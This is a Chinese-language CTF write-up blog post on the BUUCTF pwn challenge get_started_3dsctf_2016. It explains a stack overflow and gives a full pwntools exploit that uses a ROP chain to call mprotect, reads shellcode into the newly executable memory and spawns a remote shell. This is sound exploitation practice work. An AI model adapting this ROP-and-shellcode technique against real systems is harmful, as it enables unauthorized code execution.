get_started_3dsctf_2016

checksec一下

image

image

逻辑就是一个栈溢出。但是看看,无system也无/bin/sh,然后发现一个后门函数

image

那逻辑就可以是溢出,把return address覆盖为这里的判断之后,然后就可以获得flag,但是我写了脚本,打不通,后面看别的师傅的博客,才知道这样会破坏栈堆平衡,无法正常退出程序。然后学习到了一种别的思路

image

可以看到这里有一个mprotect函数,它有什么用呢?可以开一个空间给我们,并由我们自己决定它的权限,包括可读可写可执行。

点击查看代码
from pwn import *
#io=process("./get_started_3dsctf_2016")
io=remote("node4.buuoj.cn",28987)
elf=ELF("get_started_3dsctf_2016")
myprt_addr=elf.symbols["mprotect"]
read_addr=elf.symbols["read"]
start_addr=0x80ea000
pop_3_addr=0x0809e4c5

payload='a'*0x38+p32(myprt_addr)+p32(pop_3_addr)+p32(start_addr)+p32(0x1000)+p32(0x7)+p32(read_addr)+p32(pop_3_addr)+p32(0x0)+p32(start_addr)+p32(0x123)+p32(start_addr)
shellcode=asm(shellcraft.sh())
io.sendline(payload)
sleep(0.1)
io.sendline(shellcode)
io.interactive()

这里注意可以用寄存器传参,传参的数量决定了我们需要的寄存器数量,这里有三个参数,所以我们找了三个寄存器来改变esp,扩大栈空间进行传参。

posted @ 2022-05-14 11:59  REPWNER  阅读(17)  评论(0)    收藏  举报